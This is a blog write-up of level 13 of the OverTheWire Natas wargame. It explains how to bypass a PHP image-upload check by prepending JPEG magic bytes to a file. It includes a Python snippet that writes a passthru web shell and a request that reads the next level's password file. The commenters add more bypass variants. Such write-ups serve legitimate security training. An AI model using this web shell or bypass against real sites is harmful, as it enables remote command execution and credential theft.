Tuesday, October 30, 2012

OvertheWire - Natas Wargame Level 13 Writeup


Level 13

Using the credentials obtained in the previous post, we can log in to Level 13, where we are presented with the following:


It appears as though this new challenge only accepts image files. Let's start the same way as last time and look at the source:

 <html>   
 <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head>   
 <body>   
 <h1>natas13</h1>   
 <div id="content">   
 For security reasons, we now only accept image files!<br/><br/>   
 <?   
 function genRandomString() {   
   $length = 10;   
   $characters = "0123456789abcdefghijklmnopqrstuvwxyz";   
   $string = "";     
   for ($p = 0; $p < $length; $p++) {   
     $string .= $characters[mt_rand(0, strlen($characters)-1)];   
   }   
   return $string;   
 }   
 function makeRandomPath($dir, $ext) {   
   do {   
   $path = $dir."/".genRandomString().".".$ext;   
   } while(file_exists($path));   
   return $path;   
 }   
 function makeRandomPathFromFilename($dir, $fn) {   
   $ext = pathinfo($fn, PATHINFO_EXTENSION);   
   return makeRandomPath($dir, $ext);   
 }   
 if(array_key_exists("filename", $_POST)) {   
   $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);   
     if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {   
     echo "File is too big";   
   } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {   
     echo "File is not an image";   
   } else {   
     if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {   
       echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";  
     } else{   
       echo "There was an error uploading the file, please try again!";   
     }   
   }   
 } else {   
 ?>   
 <form enctype="multipart/form-data" action="index.php" method="POST">   
 <input type="hidden" name="MAX_FILE_SIZE" value="1000" />   
 <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />   
 Choose a JPEG to upload (max 1KB):<br/>   
 <input name="uploadedfile" type="file" /><br />   
 <input type="submit" value="Upload File" />   
 </form>   
 <? } ?>   
 <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>   
 </div>   
 </body>   
 </html>   

To make things easier, I have highlighted the changes since the previous challenge. Using this knowledge, we can assume that we want to find a way to again upload a PHP file which will give us system command execution. With that in mind, let's think about how to tackle this challenge.

A good rule of thumb to remember when dealing with Wargames or CTFs is that if a challenge is different than its previous counterpart by one or two lines, those are the lines that matter. Knowing this, there must be some way to bypass the new exif_imagetype function. Let's start by going straight to the documentation.

The documentation for this function says that it will return a constant (which we can see is > 0) if and only if the first bytes of an image are successfully checked against a signature. What does this mean? Well, most filetypes such as JPEG, ZIP, TAR, etc. have a "Magic Number" at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.

But wait, won't that make the file unusable? The answer is no, because if we are still able to pass our file with a .php extension then the file will be parsed as PHP, and the only code that will be executed will be that within the opening (<?) and closing (?>) PHP tags. We can start our file with anything we want.

Now we simply research a supported file format of our choice and find the magic number. I chose JPEG and found the magic number here. I then used the following short Python script to create my file.

 >>> fh = open('shell.php','w')  
 >>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')  
 >>> fh.close()  

With my file created, I can use the same steps outlined in the previous post to upload my file. Let's see what happens:


Awesome. As expected, our file was uploaded successfully, and by browsing to the URL [filename].php?cmd=cat /etc/natas_webpass/natas14, we receive the following:


A big thank you goes out to Reddit user fryboy for catching why the first four characters are included in the output. I completely overlooked the fact that anything outside of the PHP code tags is simply echoed back to the server. Therefore, these first 4 bytes are our magic number. With this being the case, our key is everything starting with the lower-case 's'. We can use this to log in to the next challenge.

Almost there! More writeups to come.

-Jordan

4 comments:

  1. Worth mentioning that in IE, you aren't shown the output but instead, a broken image placeholder. With FireFox, this works.

    ReplyDelete
  2. Another solution:
    Just append BMP at the beginning of the shell

    BMP

    ReplyDelete
  3. By putting PRE-tags around the cmd-command, you get a nicer output + seperation between output and those prepending characters

    ReplyDelete
    Replies
    1. Oh, and Tamper Data is good enough to alter the extension + you can use it for the cookie forgery too

      Delete